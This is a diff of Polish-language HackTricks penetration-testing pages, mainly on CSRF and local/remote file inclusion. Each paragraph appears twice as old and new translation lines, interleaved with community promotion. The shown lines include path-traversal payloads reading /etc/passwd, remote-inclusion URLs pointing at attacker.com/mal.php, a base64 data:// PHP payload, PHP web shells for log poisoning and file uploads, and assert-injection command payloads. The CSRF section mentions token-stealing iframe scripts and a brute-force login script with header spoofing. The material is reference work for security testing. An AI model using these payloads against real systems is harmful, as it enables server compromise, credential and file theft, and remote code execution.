Aplikacje mogą wdrożyć ochronę CSRF, duplikując token zarówno w ciasteczku, jak i w parametrze żądania lub ustawiając ciasteczko CSRF i weryfikując, czy token wysłany w backendzie odpowiada wartości w ciasteczku. Aplikacja weryfikuje żądania, sprawdzając, czy token w parametrze żądania zgadza się z wartością w ciasteczku.
Jednak ta metoda jest podatna na ataki CSRF, jeśli witryna ma luki pozwalające atakującemu na ustawienie ciasteczka CSRF w przeglądarce ofiary, takie jak luka CRLF. Atakujący mogą to wykorzystać, ładując zwodniczy obraz, który ustawia ciasteczko, a następnie inicjując atak CSRF.
Jednak ta metoda jest podatna na ataki CSRF, jeśli witryna ma luki umożliwiające atakującemu ustawienie ciasteczka CSRF w przeglądarce ofiary, takie jak luka CRLF. Atakujący mogą to wykorzystać, ładując zwodniczy obraz, który ustawia ciasteczko, a następnie inicjując atak CSRF.
Poniżej znajduje się przykład, jak atak mógłby być skonstruowany:
Poniżej znajduje się przykład, jak mógłby być skonstruowany atak:
```html
<html>
<!-- CSRF Proof of Concept - generated by Burp Suite Professional -->
@ -125,12 +125,12 @@ Poniżej znajduje się przykład, jak atak mógłby być skonstruowany:
```
{% hint style="info" %}
Zauważ, że jeśli **token csrf jest powiązany z ciasteczkiem sesji, ta atak nie zadziała**, ponieważ będziesz musiał ustawić sesję ofiary, a tym samym będziesz atakować siebie.
Zauważ, że jeśli **token csrf jest powiązany z ciasteczkiem sesji, ta atak nie zadziała**, ponieważ będziesz musiał ustawić sesję ofiary, a zatem będziesz atakować siebie.
{% endhint %}
### Zmiana Content-Type
Zgodnie z [**tym**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests), aby **uniknąć zapytań preflight** używając metody **POST**, dozwolone wartości Content-Type to:
Zgodnie z [**tym**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests), aby **uniknąć zapytań preflight** przy użyciu metody **POST**, dozwolone wartości Content-Type to:
* **`application/x-www-form-urlencoded`**
* **`multipart/form-data`**
@ -157,7 +157,7 @@ Podczas próby wysłania danych JSON za pomocą żądania POST, użycie `Content
1. **Użyj alternatywnych typów treści**: Zastosuj `Content-Type: text/plain` lub `Content-Type: application/x-www-form-urlencoded`, ustawiając `enctype="text/plain"` w formularzu. To podejście testuje, czy backend wykorzystuje dane niezależnie od Content-Type.
2. **Zmień typ treści**: Aby uniknąć żądania wstępnego, zapewniając jednocześnie, że serwer rozpoznaje treść jako JSON, możesz wysłać dane z `Content-Type: text/plain; application/json`. To nie wywołuje żądania wstępnego, ale może być poprawnie przetwarzane przez serwer, jeśli jest skonfigurowany do akceptacji `application/json`.
3. **Wykorzystanie pliku SWF Flash**: Mniej powszechny, ale wykonalny sposób polega na użyciu pliku SWF flash, aby obejść takie ograniczenia. Aby uzyskać szczegółowe informacje na temat tej techniki, zapoznaj się z [tym postem](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937).
3. **Wykorzystanie pliku SWF Flash**: Mniej powszechny, ale wykonalny sposób polega na użyciu pliku SWF flash, aby obejść takie ograniczenia. Aby uzyskać szczegółowe zrozumienie tej techniki, zapoznaj się z [tym postem](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937).
### Ominięcie sprawdzania Referrer / Origin
@ -446,7 +446,7 @@ document.forms[0].submit.click();
}
</script>
```
### **Kradzież tokena i wysłanie go za pomocą 2 iframe'ów**
### **Kradnij token i wysyłaj go za pomocą 2 iframe'ów**
```html
<script>
var token;
@ -476,7 +476,7 @@ height="600" width="800"></iframe>
<button type="submit">Submit</button>
</form>
```
### **POSTZabierz token CSRF za pomocą Ajax i wyślij post za pomocą formularza**
### **POSTKradnij token CSRF za pomocą Ajax i wyślij post z formularzem**
```html
<body onload="getData()">
@ -526,7 +526,7 @@ room: username
```
## CSRF Login Brute Force
Kod może być użyty do przeprowadzenia ataku brute force na formularz logowania z użyciem tokena CSRF (używa również nagłówka X-Forwarded-For, aby spróbować obejść ewentualne czarne listy IP):
Kod może być użyty do Brut Force formularza logowania przy użyciu tokena CSRF (używa również nagłówka X-Forwarded-For, aby spróbować obejść możliwe czarne listy IP):
```python
import request
import re
@ -584,9 +584,9 @@ login(USER, line.strip())
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Dołącz do [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), aby komunikować się z doświadczonymi hackerami i łowcami bugów!
Dołącz do [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) serwera, aby komunikować się z doświadczonymi hackerami i łowcami bugów!
**Wgląd w Hacking**\
Zaangażuj się w treści, które zagłębiają się w emocje i wyzwania związane z hackingiem
@ -595,7 +595,7 @@ Zaangażuj się w treści, które zagłębiają się w emocje i wyzwania związa
Bądź na bieżąco z dynamicznym światem hackingu dzięki aktualnym wiadomościom i wglądom
**Najnowsze Ogłoszenia**\
Bądź informowany o najnowszych nagrodach za błędy oraz istotnych aktualizacjach platformy
Bądź informowany o najnowszych programach bug bounty oraz istotnych aktualizacjach platform
**Dołącz do nas na** [**Discord**](https://discord.com/invite/N3FrSbmwdy) i zacznij współpracować z najlepszymi hackerami już dziś!
@ -608,8 +608,8 @@ Ucz się i ćwicz Hacking GCP: <img src="../.gitbook/assets/grte.png" alt="" dat
<summary>Wsparcie HackTricks</summary>
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Dziel się trikami hackingowymi, przesyłając PR-y do repozytoriów** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
</details>
{% endhint %}

View file

@ -10,12 +10,12 @@ Ucz się i ćwicz Hacking GCP: <img src="../../.gitbook/assets/grte.png" alt=""
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się trikami hackingowymi, przesyłając PR do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
* **Podziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Dołącz do [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) serwera, aby komunikować się z doświadczonymi hackerami i łowcami bugów!
@ -114,14 +114,14 @@ System plików serwera można badać rekurencyjnie, aby zidentyfikować katalogi
```bash
http://example.com/index.php?page=../../../etc/passwd # depth of 3
```
2. **Probe for Folders:** Dołącz nazwę podejrzanego folderu (np. `private`) do URL, a następnie przejdź z powrotem do `/etc/passwd`. Dodatkowy poziom katalogu wymaga zwiększenia głębokości o jeden:
2. **Probe for Folders:** Dołącz nazwę podejrzanego folderu (np. `private`) do URL, a następnie wróć do `/etc/passwd`. Dodatkowy poziom katalogu wymaga zwiększenia głębokości o jeden:
```bash
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
```
3. **Interpretuj wyniki:** Odpowiedź serwera wskazuje, czy folder istnieje:
3. **Interpretacja wyników:** Odpowiedź serwera wskazuje, czy folder istnieje:
* **Błąd / Brak wyjścia:** Folder `private` prawdopodobnie nie istnieje w określonej lokalizacji.
* **Zawartość `/etc/passwd`:** Obecność folderu `private` jest potwierdzona.
4. **Rekurencyjne badanie:** Odkryte foldery można dalej badać pod kątem podkatalogów lub plików, używając tej samej techniki lub tradycyjnych metod Local File Inclusion (LFI).
4. **Rekurencyjna eksploracja:** Odkryte foldery można dalej badać pod kątem podkatalogów lub plików, używając tej samej techniki lub tradycyjnych metod Local File Inclusion (LFI).
Aby badać katalogi w różnych lokalizacjach w systemie plików, dostosuj ładunek odpowiednio. Na przykład, aby sprawdzić, czy `/var/www/` zawiera katalog `private` (zakładając, że bieżący katalog znajduje się na głębokości 3), użyj:
```bash
@ -131,11 +131,11 @@ http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
Truncacja ścieżki to metoda stosowana do manipulacji ścieżkami plików w aplikacjach internetowych. Często jest używana do uzyskiwania dostępu do zastrzeżonych plików poprzez obejście pewnych środków bezpieczeństwa, które dodają dodatkowe znaki na końcu ścieżek plików. Celem jest skonstruowanie ścieżki pliku, która, po zmianie przez środek bezpieczeństwa, nadal wskazuje na pożądany plik.
W PHP różne reprezentacje ścieżki pliku mogą być uznawane za równoważne z powodu natury systemu plików. Na przykład:
W PHP różne reprezentacje ścieżki pliku mogą być uważane za równoważne z powodu natury systemu plików. Na przykład:
* `/etc/passwd`, `/etc//passwd`, `/etc/./passwd` i `/etc/passwd/` są traktowane jako ta sama ścieżka.
* Gdy ostatnie 6 znaków to `passwd`, dodanie `/` (tworząc `passwd/`) nie zmienia docelowego pliku.
* Podobnie, jeśli `.php` jest dodawane do ścieżki pliku (jak `shellcode.php`), dodanie `/.` na końcu nie zmieni pliku, do którego uzyskuje się dostęp.
* Podobnie, jeśli `.php` jest dodane do ścieżki pliku (jak `shellcode.php`), dodanie `/.` na końcu nie zmieni pliku, do którego uzyskuje się dostęp.
Podane przykłady pokazują, jak wykorzystać truncację ścieżki do uzyskania dostępu do `/etc/passwd`, powszechnego celu ze względu na jego wrażliwą zawartość (informacje o kontach użytkowników):
```
@ -167,12 +167,12 @@ http://example.com/index.php?page=PhP://filter
```
## Remote File Inclusion
W php jest to domyślnie wyłączone, ponieważ **`allow_url_include`** jest **Wyłączone.** Musi być **Włączone**, aby to działało, a w takim przypadku możesz dołączyć plik PHP z twojego serwera i uzyskać RCE:
W php jest to domyślnie wyłączone, ponieważ **`allow_url_include`** jest **Wyłączone.** Musi być **Włączone**, aby to działało, a w takim przypadku możesz dołączyć plik PHP z swojego serwera i uzyskać RCE:
```python
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
```
Jeśli z jakiegoś powodu **`allow_url_include`** jest **włączone**, ale PHP **filtruje** dostęp do zewnętrznych stron internetowych, [zgodnie z tym postem](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), możesz użyć na przykład protokołu danych z base64, aby zdekodować kod PHP w b64 i uzyskać RCE:
Jeśli z jakiegoś powodu **`allow_url_include`** jest **włączone**, ale PHP **filtruje** dostęp do zewnętrznych stron internetowych, [zgodnie z tym postem](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), możesz na przykład użyć protokołu danych z base64, aby zdekodować kod PHP w b64 i uzyskać RCE:
{% code overflow="wrap" %}
```
@ -181,7 +181,7 @@ PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKC
{% endcode %}
{% hint style="info" %}
W poprzednim kodzie końcowe `+.txt` zostało dodane, ponieważ atakujący potrzebował ciągu, który kończyłby się na `.txt`, więc ciąg kończy się tym, a po dekodowaniu b64 ta część zwróci tylko śmieci, a prawdziwy kod PHP zostanie dołączony (a tym samym, wykonany).
W poprzednim kodzie końcowe `+.txt` zostało dodane, ponieważ atakujący potrzebował ciągu, który kończyłby się na `.txt`, więc ciąg kończy się na tym, a po dekodowaniu b64 ta część zwróci tylko śmieci, a prawdziwy kod PHP zostanie dołączony (a tym samym, wykonany).
{% endhint %}
Inny przykład **nie używający protokołu `php://`** to:
@ -199,7 +199,7 @@ W Pythonie w kodzie takim jak ten:
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)
```
Jeśli użytkownik przekaże **ścieżkę absolutną** do **`file_name`**, **poprzednia ścieżka zostanie po prostu usunięta**:
Jeśli użytkownik przekaże **absolutną ścieżkę** do **`file_name`**, **poprzednia ścieżka jest po prostu usuwana**:
```python
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'
@ -246,7 +246,7 @@ Oto lista 25 najważniejszych parametrów, które mogą być podatne na lokalne
### php://filter
Filtry PHP pozwalają na wykonanie podstawowych **operacji modyfikacji danych** przed ich odczytem lub zapisaniem. Istnieje 5 kategorii filtrów:
Filtry PHP pozwalają na podstawowe **operacje modyfikacji danych** przed ich odczytem lub zapisaniem. Istnieje 5 kategorii filtrów:
* [Filtry ciągów](https://www.php.net/manual/en/filters.string.php):
* `string.rot13`
@ -262,7 +262,7 @@ Filtry PHP pozwalają na wykonanie podstawowych **operacji modyfikacji danych**
* `convert.iconv.*` : Przekształca do innego kodowania (`convert.iconv.<input_enc>.<output_enc>`). Aby uzyskać **listę wszystkich obsługiwanych kodowań**, uruchom w konsoli: `iconv -l`
{% hint style="warning" %}
Wykorzystując filtr konwersji `convert.iconv.*`, możesz **generować dowolny tekst**, co może być przydatne do pisania dowolnego tekstu lub do stworzenia funkcji, która włącza proces dowolnego tekstu. Po więcej informacji sprawdź [**LFI2RCE za pomocą filtrów PHP**](lfi2rce-via-php-filters.md).
Nadużywając filtru konwersji `convert.iconv.*`, możesz **generować dowolny tekst**, co może być przydatne do pisania dowolnego tekstu lub do stworzenia funkcji, która włącza proces dowolnego tekstu. Po więcej informacji sprawdź [**LFI2RCE za pomocą filtrów php**](lfi2rce-via-php-filters.md).
{% endhint %}
* [Filtry kompresji](https://www.php.net/manual/en/filters.compression.php)
@ -272,9 +272,9 @@ Wykorzystując filtr konwersji `convert.iconv.*`, możesz **generować dowolny t
* `mcrypt.*` : Przestarzałe
* `mdecrypt.*` : Przestarzałe
* Inne filtry
* Uruchamiając w PHP `var_dump(stream_get_filters());`, możesz znaleźć kilka **nieoczekiwanych filtrów**:
* Uruchamiając w php `var_dump(stream_get_filters());`, możesz znaleźć kilka **nieoczekiwanych filtrów**:
* `consumed`
* `dechunk`: odwraca kodowanie chunked HTTP
* `dechunk`: odwraca kodowanie HTTP chunked
* `convert.*`
```php
# String Filters
@ -306,14 +306,14 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
Część "php://filter" jest nieczuła na wielkość liter
{% endhint %}
### Używanie filtrów php jako oracle do odczytu dowolnych plików
### Używanie filtrów php jako orakula do odczytu dowolnych plików
[**W tym poście**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) zaproponowano technikę odczytu lokalnego pliku bez zwracania wyniku z serwera. Technika ta opiera się na **boole'owskiej eksfiltracji pliku (znak po znaku) przy użyciu filtrów php** jako oracle. Dzieje się tak, ponieważ filtry php mogą być używane do powiększenia tekstu na tyle, aby php zgłosił wyjątek.
[**W tym poście**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) zaproponowano technikę odczytu lokalnego pliku bez zwracania wyniku z serwera. Technika ta opiera się na **boole'owskiej eksfiltracji pliku (znak po znaku) przy użyciu filtrów php** jako orakula. Dzieje się tak, ponieważ filtry php mogą być używane do powiększenia tekstu na tyle, aby php zgłosił wyjątek.
W oryginalnym poście można znaleźć szczegółowe wyjaśnienie techniki, ale oto szybkie podsumowanie:
* Użyj kodeka **`UCS-4LE`**, aby pozostawić wiodący znak tekstu na początku i sprawić, że rozmiar ciągu wzrośnie wykładniczo.
* To będzie użyte do wygenerowania **tekstu tak dużego, gdy początkowa litera jest poprawnie odgadnięta**, że php wywoła **błąd**.
* To będzie użyte do wygenerowania **tekstu tak dużego, gdy początkowa litera jest odgadnięta poprawnie**, że php wywoła **błąd**.
* Filtr **dechunk** **usunie wszystko, jeśli pierwszy znak nie jest szesnastkowy**, więc możemy wiedzieć, czy pierwszy znak jest szesnastkowy.
* To, w połączeniu z poprzednim (i innymi filtrami w zależności od odgadniętej litery), pozwoli nam odgadnąć literę na początku tekstu, widząc, kiedy wykonujemy wystarczająco dużo transformacji, aby nie była znakiem szesnastkowym. Ponieważ jeśli jest szesnastkowy, dechunk go nie usunie, a początkowa bomba spowoduje błąd php.
* Kodek **convert.iconv.UNICODE.CP930** przekształca każdą literę w następną (więc po tym kodeku: a -> b). To pozwala nam odkryć, czy pierwsza litera to `a`, na przykład, ponieważ jeśli zastosujemy 6 z tego kodeka a->b->c->d->e->f->g, litera nie jest już znakiem szesnastkowym, dlatego dechunk jej nie usunął, a błąd php jest wywoływany, ponieważ mnoży się z początkową bombą.
@ -322,11 +322,11 @@ W oryginalnym poście można znaleźć szczegółowe wyjaśnienie techniki, ale
* Ostatecznym problemem jest zobaczenie **jak wyciekować więcej niż początkowa litera**. Używając filtrów pamięci w kolejności, takich jak **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE**, możliwe jest zmienienie kolejności znaków i uzyskanie na pierwszej pozycji innych liter tekstu.
* A aby móc uzyskać **dalsze dane**, pomysł polega na **wygenerowaniu 2 bajtów danych śmieciowych na początku** przy użyciu **convert.iconv.UTF16.UTF16**, zastosowaniu **UCS-4LE**, aby **pivotować z następnymi 2 bajtami**, i **usunąć dane aż do danych śmieciowych** (to usunie pierwsze 2 bajty początkowego tekstu). Kontynuuj to, aż osiągniesz pożądany bit do wycieku.
W poście wycieknięto również narzędzie do automatycznego wykonania tego: [php\_filters\_chain\_oracle\_exploit](https://github.com/synacktiv/php\_filter\_chains\_oracle\_exploit).
W poście wycieknięto również narzędzie do automatyzacji tego procesu: [php\_filters\_chain\_oracle\_exploit](https://github.com/synacktiv/php\_filter\_chains\_oracle\_exploit).
### php://fd
Ten wrapper pozwala uzyskać dostęp do deskryptorów plików, które proces ma otwarte. Potencjalnie przydatne do eksfiltracji zawartości otwartych plików:
Ten wrapper pozwala na dostęp do deskryptorów plików, które proces ma otwarte. Potencjalnie przydatne do eksfiltracji zawartości otwartych plików:
```php
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");
@ -406,7 +406,7 @@ Aby uzyskać szczegółowe zrozumienie eksploatacji luk w deserializacji w konte
### CVE-2024-2961
Można było nadużyć **dowolnego pliku odczytywanego z PHP, który obsługuje filtry php**, aby uzyskać RCE. Szczegółowy opis można [**znaleźć w tym poście**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
Bardzo szybkie podsumowanie: **3-bajtowy przepełnienie** w stercie PHP zostało nadużyte do **zmiany łańcucha wolnych kawałków** o określonym rozmiarze, aby móc **zapisać cokolwiek w dowolnym adresie**, więc dodano hak do wywołania **`system`**.\
Bardzo szybkie podsumowanie: nadużyto **przepełnienia o 3 bajty** w stercie PHP, aby **zmienić łańcuch wolnych kawałków** o określonym rozmiarze, aby móc **zapisać cokolwiek w dowolnym adresie**, więc dodano hak do wywołania **`system`**.\
Można było alokować kawałki o określonych rozmiarach, nadużywając więcej filtrów php.
### Więcej protokołów
@ -418,19 +418,19 @@ Sprawdź więcej możliwych [**protokołów do uwzględnienia tutaj**](https://w
* [http://](https://www.php.net/manual/en/wrappers.http.php) — Dostęp do adresów URL HTTP(s)
* [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Dostęp do adresów URL FTP(s)
* [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Strumienie kompresji
* [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Znajdź nazwy ścieżek pasujące do wzoru (Nie zwraca nic drukowalnego, więc nie jest tu naprawdę przydatne)
* [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Znajdź nazwy ścieżek pasujące do wzorca (nie zwraca nic drukowalnego, więc nie jest tu zbyt przydatne)
* [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
* [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Strumienie audio (Nieprzydatne do odczytu dowolnych plików)
* [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Strumienie audio (nieprzydatne do odczytu dowolnych plików)
## LFI przez 'assert' PHP
## LFI za pomocą 'assert' PHP
Ryzyko Local File Inclusion (LFI) w PHP jest szczególnie wysokie w przypadku funkcji 'assert', która może wykonywać kod w ramach ciągów. Jest to szczególnie problematyczne, jeśli dane wejściowe zawierające znaki przechodzenia przez katalogi, takie jak "..", są sprawdzane, ale nie są odpowiednio oczyszczane.
Ryzyko Local File Inclusion (LFI) w PHP jest szczególnie wysokie w przypadku funkcji 'assert', która może wykonywać kod w ramach ciągów. Jest to szczególnie problematyczne, jeśli dane wejściowe zawierają znaki przechodzenia przez katalogi, takie jak "..", które są sprawdzane, ale nie są odpowiednio oczyszczane.
Na przykład, kod PHP może być zaprojektowany w celu zapobiegania przechodzeniu przez katalogi w ten sposób:
```bash
assert("strpos('$file', '..') === false") or die("");
```
Chociaż to ma na celu zatrzymanie traversalu, niezamierzenie tworzy wektor dla wstrzykiwania kodu. Aby wykorzystać to do odczytu zawartości pliku, atakujący mógłby użyć:
Chociaż to ma na celu zatrzymanie przechodzenia, niezamierzenie tworzy wektor dla wstrzykiwania kodu. Aby wykorzystać to do odczytu zawartości pliku, atakujący mógłby użyć:
```plaintext
' and die(highlight_file('/etc/passwd')) or '
```
@ -440,7 +440,7 @@ Podobnie, do wykonywania dowolnych poleceń systemowych, można użyć:
```
To ważne, aby **zakodować te ładunki URL**.
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Dołącz do [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), aby komunikować się z doświadczonymi hackerami i łowcami błędów!
@ -448,7 +448,7 @@ Dołącz do [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), ab
Zaangażuj się w treści, które zagłębiają się w emocje i wyzwania związane z hackingiem
**Aktualności Hackingowe w Czasie Rzeczywistym**\
Bądź na bieżąco z dynamicznym światem hackingu dzięki aktualnym wiadomościom i wglądom
Bądź na bieżąco z dynamicznie zmieniającym się światem hackingu dzięki aktualnym wiadomościom i wglądom
**Najnowsze Ogłoszenia**\
Bądź informowany o najnowszych programach bug bounty oraz istotnych aktualizacjach platformy
@ -479,15 +479,15 @@ Wyjaśnione wcześniej, [**śledź ten link**](./#remote-file-inclusion).
### Poprzez plik dziennika Apache/Nginx
Jeśli serwer Apache lub Nginx jest **podatny na LFI**, wewnątrz funkcji include możesz spróbować uzyskać dostęp do **`/var/log/apache2/access.log` lub `/var/log/nginx/access.log`**, ustawiając w **user agent** lub w **parametrze GET** powłokę PHP, taką jak **`<?php system($_GET['c']); ?>`** i dołączając ten plik
Jeśli serwer Apache lub Nginx jest **podatny na LFI**, wewnątrz funkcji include możesz spróbować uzyskać dostęp do **`/var/log/apache2/access.log` lub `/var/log/nginx/access.log`**, ustawiając w **user agent** lub w **parametrze GET** powłokę PHP, taką jak **`<?php system($_GET['c']); ?>`** i dołącz ten plik
{% hint style="warning" %}
Zauważ, że **jeśli używasz podwójnych cudzysłowów** dla powłoki zamiast **pojedynczych cudzysłowów**, podwójne cudzysłowy zostaną zmodyfikowane na ciąg "_**quote;**_", **PHP zgłosi błąd** w tym miejscu i **nic innego nie zostanie wykonane**.
Zauważ, że **jeśli użyjesz podwójnych cudzysłowów** dla powłoki zamiast **pojedynczych cudzysłowów**, podwójne cudzysłowy zostaną zmodyfikowane na ciąg "_**quote;**_", **PHP zgłosi błąd** w tym miejscu i **nic więcej nie zostanie wykonane**.
Upewnij się również, że **poprawnie zapisujesz ładunek**, w przeciwnym razie PHP zgłosi błąd za każdym razem, gdy spróbuje załadować plik dziennika i nie będziesz miał drugiej szansy.
{% endhint %}
Można to również zrobić w innych dziennikach, ale **bądź ostrożny**, kod wewnątrz dzienników może być zakodowany URL i to może zniszczyć powłokę. Nagłówek **autoryzacji "basic"** zawiera "user:password" w Base64 i jest dekodowany wewnątrz dzienników. Powłoka PHP może być wstawiona w tym nagłówku.\
Można to również zrobić w innych dziennikach, ale **bądź ostrożny**, kod wewnątrz dzienników może być zakodowany URL i to może zniszczyć powłokę. Nagłówek **autoryzacji "basic"** zawiera "user:password" w Base64 i jest dekodowany wewnątrz dzienników. PHPShell może być wstawiony w tym nagłówku.\
Inne możliwe ścieżki dzienników:
```python
/var/log/apache2/access.log
@ -520,11 +520,11 @@ User-Agent: <?=phpinfo(); ?>
```
### Via upload
Jeśli możesz przesłać plik, po prostu wstrzyknij ładunek powłoki do niego (np: `<?php system($_GET['c']); ?>`).
Jeśli możesz przesłać plik, po prostu wstrzyknij ładunek powłoki w nim (np: `<?php system($_GET['c']); ?>`).
```
http://example.com/index.php?page=path/to/uploaded/file.png
```
Aby zachować czytelność pliku, najlepiej wstrzyknąć do metadanych obrazów/doc/pdf
Aby zachować czytelność pliku, najlepiej wstrzyknąć do metadanych zdjęć/doc/pdf
### Poprzez przesyłanie pliku Zip
@ -597,7 +597,7 @@ Jeśli znalazłeś **Local File Inclusion** i **Nginx** działa przed PHP, może
### Via PHP\_SESSION\_UPLOAD\_PROGRESS
Jeśli znalazłeś **Local File Inclusion**, nawet jeśli **nie masz sesji** i `session.auto_start` jest `Off`. Jeśli dostarczysz **`PHP_SESSION_UPLOAD_PROGRESS`** w **danych POST multipart**, PHP **włączy sesję dla Ciebie**. Możesz to wykorzystać, aby uzyskać RCE:
Jeśli znalazłeś **Local File Inclusion**, nawet jeśli **nie masz sesji** i `session.auto_start` jest `Wyłączone`. Jeśli dostarczysz **`PHP_SESSION_UPLOAD_PROGRESS`** w **danych POST multipart**, PHP **włączy sesję dla Ciebie**. Możesz to wykorzystać do uzyskania RCE:
{% content-ref url="via-php_session_upload_progress.md" %}
[via-php\_session\_upload\_progress.md](via-php\_session\_upload\_progress.md)
@ -670,9 +670,9 @@ _Nawet jeśli spowodujesz błąd krytyczny PHP, przesłane pliki tymczasowe są
{% file src="../../.gitbook/assets/EN-Local-File-Inclusion-1.pdf" %}
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Dołącz do [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), aby komunikować się z doświadczonymi hackerami i łowcami bugów!
Dołącz do serwera [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), aby komunikować się z doświadczonymi hackerami i łowcami bugów!
**Hacking Insights**\
Zaangażuj się w treści, które zagłębiają się w emocje i wyzwania związane z hackingiem
@ -681,7 +681,7 @@ Zaangażuj się w treści, które zagłębiają się w emocje i wyzwania związa
Bądź na bieżąco z dynamicznym światem hackingu dzięki wiadomościom i spostrzeżeniom w czasie rzeczywistym
**Latest Announcements**\
Bądź na bieżąco z najnowszymi nagrodami za błędy i istotnymi aktualizacjami platformy
Bądź informowany o najnowszych nagrodach za błędy oraz istotnych aktualizacjach platform
**Dołącz do nas na** [**Discord**](https://discord.com/invite/N3FrSbmwdy) i zacznij współpracować z najlepszymi hackerami już dziś!
@ -695,7 +695,7 @@ Ucz się i ćwicz Hacking GCP: <img src="../../.gitbook/assets/grte.png" alt=""
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się trikami hackingowymi, przesyłając PR-y do repozytoriów** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Podziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
</details>
{% endhint %}

View file

@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
@ -46,8 +46,8 @@ Stay informed with the newest bug bounties launching and crucial platform update
* **Wpływ**: Prowadzi do potencjalnego przejęcia konta przez ujawnienie tokenów resetowania atakującym.
* **Kroki łagodzące**:
* Waliduj nagłówek Host w porównaniu do białej listy dozwolonych domen.
* Używaj bezpiecznych, serwerowych metod do generowania absolutnych URL.
* **Poprawka**: Użyj `$_SERVER['SERVER_NAME']` do konstruowania URL resetowania hasła zamiast `$_SERVER['HTTP_HOST']`.
* Używaj bezpiecznych, serwerowych metod do generowania absolutnych URL-i.
* **Poprawka**: Użyj `$_SERVER['SERVER_NAME']` do konstruowania URL-i resetowania hasła zamiast `$_SERVER['HTTP_HOST']`.
* **Referencje**:
